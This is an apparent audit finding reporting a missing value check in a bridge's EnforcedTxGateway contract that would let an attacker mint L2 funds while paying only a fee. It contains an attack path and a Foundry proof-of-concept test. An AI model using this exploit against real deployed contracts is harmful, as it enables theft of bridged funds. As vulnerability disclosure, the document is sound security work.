Skip to content

Latest commit

 

History

History
288 lines (234 loc) · 10.2 KB

015.md

File metadata and controls

288 lines (234 loc) · 10.2 KB

Polished Inky Stork

High

Attackers can get free funds by paying only a fee.

Summary

Missing value check in EnforceTxGateway::sendTranscation, which allows attackers to obtain free funds by paying only a fee.

Root Cause

Look at this L177-L207:

 function _sendTransaction(
        address _sender,
        address _target,
=>        uint256 _value,
        uint256 _gasLimit,
        bytes calldata _data,
        address _refundAddress
    ) internal nonReentrant {
        address _messageQueue = messageQueue;

        // charge fee
        uint256 _fee = IL1MessageQueue(_messageQueue).estimateCrossDomainMessageFee(_sender, _gasLimit);
        require(msg.value >= _fee, "Insufficient value for fee");
        if (_fee > 0) {
            (bool _success, ) = feeVault.call{value: _fee}("");
            require(_success, "Failed to deduct the fee");
        }

        // append transaction
=>        IL1MessageQueue(_messageQueue).appendEnforcedTransaction(_sender, _target, _value, _gasLimit, _data);

        // refund fee to `_refundAddress`
        unchecked {
            uint256 _refund = msg.value - _fee;
            if (_refund > 0) {
                (bool _success, ) = _refundAddress.call{value: _refund}("");
                require(_success, "Failed to refund the fee");
            }
        }
    }
}

There is no check that the _value parameter is equal to msg.value or msg.value is greater than _value. There is only a check that msg.value must be greater than or equal to _fee.

Then, _sendTransaction triggers IL1MessageQueue.appendEnforcedTransaction with the _value parameter.

As a result, anyone can execute an EnforceTxGateway::sendTransaction filling in the _value parameter with any value they want, and only pay a fee. The transaction will then be processed into an L2 transaction.

Attack Path

1. The attacker performs EnforceTxGateway::sendTranscation with the _value parameter is 1000e18, and only pays the fee.

2. Then the attacker transaction will be processed into an L2 transaction with the _value parameter.

Impact

- The attacker will get free funds in L2.

PoC

  • Modify this function first, as the test uses foundry startPrank:
  function sendTransaction(
        address _target,
        uint256 _value,
        uint256 _gasLimit,
        bytes calldata _data
    ) external payable whenNotPaused {
        // solhint-disable-next-line avoid-tx-origin

        _sendTransaction(msg.sender, _target, _value, _gasLimit, _data, msg.sender);
    }
  • Paste the code below into the new test file.
  • Run with forge test -vvvv --match-test test_attacker_get_free_funds

POC CODE:

pragma solidity =0.8.24;
import "forge-std/Test.sol";

import "../l1/gateways/EnforcedTxGateway.sol";
import {ITransparentUpgradeableProxy, TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ECDSAUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";

import {Whitelist} from "../libraries/common/Whitelist.sol";
import {L1CrossDomainMessenger} from "../l1/L1CrossDomainMessenger.sol";
import {L1MessageQueueWithGasPriceOracle} from "../l1/rollup/L1MessageQueueWithGasPriceOracle.sol";
import {L1Staking} from "../l1/staking/L1Staking.sol";
import {Rollup} from "../l1/rollup/Rollup.sol";
import {IRollup} from "../l1/rollup/IRollup.sol";
import {MockZkEvmVerifier} from "../mock/MockZkEvmVerifier.sol";
import {EmptyContract} from "../misc/EmptyContract.sol";

contract EnforcedTxGatewayTest is Test {
    using ECDSAUpgradeable for bytes32;

    EnforcedTxGateway enforcedTxGatewayImpl;
    EnforcedTxGateway enforcedTxGateway;
    EmptyContract public emptyContract;

    address attacker;
    address target;

    L1Staking public l1Staking;
    L1Staking public l1StakingImpl;

    uint256 public constant STAKING_VALUE = 1e18; // 1 eth
    uint256 public constant CHALLENGE_DEPOSIT = 1e18; // 1 eth
    uint256 public constant LOCK_BLOCKS = 3;
    uint256 public rewardPercentage = 20;
    uint32 public defaultGasLimitAdd = 1000000;
    uint32 public defaultGasLimitRemove = 10000000;

    // Rollup config
    Rollup public rollup;
    Rollup public rollupImpl;
    MockZkEvmVerifier public verifier = new MockZkEvmVerifier();

    uint256 public proofWindow = 100;
    uint256 public maxNumTxInChunk = 10;
    uint64 public layer2ChainID = 53077;

    // whitelist config
    Whitelist public whitelistChecker;

    // L1MessageQueueWithGasPriceOracle config
    L1MessageQueueWithGasPriceOracle public l1MessageQueueWithGasPriceOracle;
    uint256 public l1MessageQueueMaxGasLimit = 100000000;
    uint32 public defaultGasLimit = 1000000;

    // L1CrossDomainMessenger config
    L1CrossDomainMessenger public l1CrossDomainMessenger;
    L1CrossDomainMessenger public l1CrossDomainMessengerImpl;

    address public l1FeeVault = address(3033);

    uint256 public finalizationPeriodSeconds = 2;

    bytes32 private constant _ENFORCED_TX_TYPEHASH =
        keccak256(
            "EnforcedTransaction(address sender,address target,uint256 value,uint256 gasLimit,bytes data,uint256 nonce,uint256 deadline)"
        );

    function setUp() public {
        emptyContract = new EmptyContract();
        whitelistChecker = new Whitelist(address(this));

        TransparentUpgradeableProxy rollupProxy = new TransparentUpgradeableProxy(
            address(emptyContract),
            address(this),
            new bytes(0)
        );
        TransparentUpgradeableProxy l1CrossDomainMessengerProxy = new TransparentUpgradeableProxy(
            address(emptyContract),
            address(this),
            new bytes(0)
        );
        TransparentUpgradeableProxy l1MessageQueueWithGasPriceOracleProxy = new TransparentUpgradeableProxy(
            address(emptyContract),
            address(this),
            new bytes(0)
        );
        TransparentUpgradeableProxy l1StakingProxy = new TransparentUpgradeableProxy(
            address(emptyContract),
            address(this),
            new bytes(0)
        );

        TransparentUpgradeableProxy enforcedTxGatewayProxy = new TransparentUpgradeableProxy(
            address(emptyContract),
            address(this),
            new bytes(0)
        );

        // deploy impl
        rollupImpl = new Rollup(layer2ChainID);

        L1MessageQueueWithGasPriceOracle l1MessageQueueWithGasPriceOracleImpl = new L1MessageQueueWithGasPriceOracle(
            payable(address(l1CrossDomainMessengerProxy)),
            address(rollupProxy),
            address(enforcedTxGatewayProxy)
        );
        l1CrossDomainMessengerImpl = new L1CrossDomainMessenger();
        l1StakingImpl = new L1Staking(payable(l1CrossDomainMessengerProxy));

        // upgrade and initialize
        ITransparentUpgradeableProxy(address(rollupProxy)).upgradeToAndCall(
            address(rollupImpl),
            abi.encodeCall(
                Rollup.initialize,
                (
                    address(l1StakingProxy),
                    address(l1MessageQueueWithGasPriceOracleProxy), // _messageQueue
                    address(verifier), // _verifier
                    maxNumTxInChunk, // _maxNumTxInChunk
                    finalizationPeriodSeconds, // _finalizationPeriodSeconds
                    proofWindow // _proofWindow
                )
            )
        );
        ITransparentUpgradeableProxy(address(l1MessageQueueWithGasPriceOracleProxy)).upgradeToAndCall(
            address(l1MessageQueueWithGasPriceOracleImpl),
            abi.encodeCall(
                L1MessageQueueWithGasPriceOracle.initialize,
                (
                    l1MessageQueueMaxGasLimit, // gasLimit
                    address(whitelistChecker) // whitelistChecker
                )
            )
        );
        ITransparentUpgradeableProxy(address(l1CrossDomainMessengerProxy)).upgradeToAndCall(
            address(l1CrossDomainMessengerImpl),
            abi.encodeCall(
                L1CrossDomainMessenger.initialize,
                (
                    l1FeeVault, // feeVault
                    address(rollupProxy), // rollup
                    address(l1MessageQueueWithGasPriceOracleProxy) // messageQueue
                )
            )
        );
        ITransparentUpgradeableProxy(address(l1StakingProxy)).upgradeToAndCall(
            address(l1StakingImpl),
            abi.encodeCall(
                L1Staking.initialize,
                (
                    address(rollupProxy),
                    STAKING_VALUE,
                    CHALLENGE_DEPOSIT,
                    LOCK_BLOCKS,
                    rewardPercentage,
                    defaultGasLimitAdd,
                    defaultGasLimitRemove
                )
            )
        );

        l1CrossDomainMessenger = L1CrossDomainMessenger(payable(address(l1CrossDomainMessengerProxy)));
        rollup = Rollup(payable(address(rollupProxy)));

        l1MessageQueueWithGasPriceOracle = L1MessageQueueWithGasPriceOracle(
            address(l1MessageQueueWithGasPriceOracleProxy)
        );
        l1Staking = L1Staking(address(l1StakingProxy));

        enforcedTxGatewayImpl = new EnforcedTxGateway();

        ITransparentUpgradeableProxy(address(enforcedTxGatewayProxy)).upgradeToAndCall(
            address(enforcedTxGatewayImpl),
            abi.encodeCall(
                EnforcedTxGateway.initialize,
                (
                    address(l1MessageQueueWithGasPriceOracle), // gasLimit
                    l1FeeVault // whitelistChecker
                )
            )
        );

        enforcedTxGateway = EnforcedTxGateway(address(enforcedTxGatewayProxy));

        attacker = makeAddr("attacker");
        target = makeAddr("target");

      
        deal(attacker, 2 ether);
    }

    function test_attacker_get_free_funds() public {
        uint256 value = 1000e18;
        uint256 gaslimit = 1e6;
        bytes memory data = abi.encode("");
        vm.startPrank(attacker);
        enforcedTxGateway.sendTransaction{value: 0.0007 ether}(target, value, gaslimit, data);
    }
}

Mitigation

Verify that msg.value is greater than the _value parameter.